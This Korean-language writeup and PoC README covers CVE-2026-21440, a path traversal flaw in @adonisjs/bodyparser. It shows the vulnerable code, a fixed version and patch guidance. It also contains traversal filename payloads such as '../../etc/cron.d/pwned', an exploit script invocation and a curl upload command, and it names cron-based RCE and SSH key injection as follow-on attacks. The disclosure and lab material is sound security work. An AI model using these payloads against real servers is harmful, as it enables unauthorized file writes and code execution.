
poc 및 writeup for cve-2026-21440: @adonisjs/bodyparser의 치명적인 경로 탐색 취약점으로 임의 파일 쓰기를 허용함
@adonisjs/bodyparser의 경로 순회를 통한 임의 파일 쓰기
@adonisjs/bodyparser 패키지에 의도된 업로드 디렉터리 외부에 임의의 파일을 작성할 수 있게 하는 치명적인 경로 순회 취약점이 존재합니다. multipartfile.move() 함수가 명시적으로 정화된 파일명을 제공하지 않고 호출되면, 파서는 적절한 정화 없이 클라이언트가 제공한 파일명을 기본값으로 사용합니다.
구현이 path.join()을 사용하고 options.overwrite가 기본적으로 true이기 때문에, 공격자는 디렉터리 순회 시퀀스(예: ../../etc/cron.d/malicious)를 포함한 악의적인 파일명을 조작하여 파일 시스템 어디에든 파일을 작성할 수 있으며, 이는 원격 코드 실행으로 이어질 수 있습니다.
| 속성 | 값 |
|---|---|
| cve id | cve-2026-21440 |
| cwe 분류 | cwe-22: 제한된 디렉터리('경로 순회')에 대한 경로명의 부적절한 제한 |
| cvss v3.1 점수 | 9.2 (치명적) |
| 공격 벡터 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
취약점은 multipartfile.move(location, options?) 메서드에 존재합니다. 개발자가 options.name을 제공하지 않고 이 메서드를 호출하면, 코드는 정화 없이 this.clientName — 클라이언트가 보낸 원본 파일명 — 을 기본값으로 사용합니다.
// @adonisjs/bodyparser의 취약한 코드 경로
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← 정화되지 않은 클라이언트 입력
const filePath = path.join(location, fileName) // ← path.join은 순회를 허용함
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ 공격자 │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ 취약한 adonisjs 앱 │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← 정화된 이름이 제공되지 않음 │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ /etc/cron.d/pwned로 해석됨 │
│ │ │
│ ▼ │
│ 업로드 디렉터리 외부에 파일 작성 │
└─────────────────────────────────────────────────────────────────┘
│
▼
임의 파일 쓰기
→ cron을 통한 rce
→ 설정 파일 덮어쓰기
→ ssh 키 주입
| 패키지 | 취약한 버전 | 패치된 버전 |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 ~ 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparser를 사용 중name 옵션 없이 file.move()를 호출# 악용 디렉터리로 이동
cd Exploit-PoC
# 의존성 설치
pip install -r requirements.txt
# 악용 실행
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ 취약함 - 클라이언트가 제공한 파일명을 사용
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName이 파일명으로 사용됨
}
return response.ok({ message: 'uploaded' })
}
// ✅ 안전함 - 정화된 파일명을 생성
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// 원본 확장자를 가진 고유 파일명 생성
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // 덮어쓰기 방지
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser를 패치된 버전으로 업데이트# 저장소 복제
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# 취약한 환경 시작
docker-compose up --build
# 다른 터미널에서 악용 실행
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# 업로드 디렉터리 외부에 파일이 작성되었는지 확인
docker-compose exec app cat /app/test.txt
| 날짜 | 이벤트 |
|---|---|
| 2026-01-02 | 10.1.2 및 11.0.0-next.6에서 패치 릴리스 |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h 게시 |
| 2026-01-02 | cve-2026-21440 지정 |
| 2026-01-02 | nvd에 게시 |
이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 개념 증명 코드는 보안 전문가가 권한이 있는 환경에서 이 취약점을 이해하고 테스트하는 데 도움을 주기 위한 것입니다.
컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다. 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.
k0nnect가 ☕와 함께 연구함